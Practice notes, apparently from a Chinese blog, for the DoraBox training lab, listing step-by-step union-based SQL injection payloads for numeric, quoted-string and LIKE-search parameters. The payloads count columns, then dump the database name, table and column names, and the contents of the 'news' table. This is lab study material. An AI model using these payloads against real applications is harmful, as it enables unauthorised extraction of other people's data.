1. 整型
在搜索框中输入一个整数
开始判断数据库的字段数,在框中不断输入:1 order by 1(2,3,4),每次都增大order by后面的数字
直到输入框中输入:1 order by 4时报错,可知字段数为3
开始判断字段中的输出位置:0 union select 1, 2, 3
开始爆数据库:0 union select 1, 2, database()
爆当前数据库中的所有表名:0 union select 1, 2, (select group_concat(table_name) from information_schema.tables where table_schema=”pentest”)
爆出当前表中的所有字段:0 union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name=’news’)
爆出当前表中的所有数据:0 union select 1, 2, (select group_concat(id,title,content) from pentest.news)
2. 字符型
字符型需要闭合单引号,所以在输入框输入:1’#
开始查询字段数:1’ order by 3#,输入:1’ order by 4# 报错,所以一共有3个字段
判断字段中有输出的位置:1’ union select 1, 2, 3#
开始爆数据库:1’ union select 1, 2, database()#
爆当前数据库中的所有表名:1’ union select 1, 2, (select group_concat(table_name) from information_schema.tables where table_schema=‘pentest’)#
爆出当前表中的所有字段名:1’ union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name=‘news’)#
爆出当前表中的所有数据:1’ union select 1, 2, (select group_concat(id,title,content) from pentest.news)#
3. 搜索型
输入:1, 在搜索型中,单引号和百分号都需要闭合
判断字段数:1%’ order by 3#,输入:1%’ order by 4# 报错,说明字段数为3
判断字段中有输出的位置:1%’ union select 1, 2, 3#
开始爆数据库名:1%’ union select 1, 2, database()#
爆当前数据库中的所有表名:1%’ union select 1, 2, (select group_concat(table_name) from information_schema.tables where table_schema=‘pentest’)#
爆出当前表中的所有字段名:1%’ union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name=‘news’)#
爆出当前表中的所有数据:1%’ union select 1, 2, (select group_concat(id,title,content) from pentest.news)#
DoraBox ——SQL注入(数字型、字符型、搜索型)练习笔记
最新推荐文章于 2024-04-26 23:23:36 发布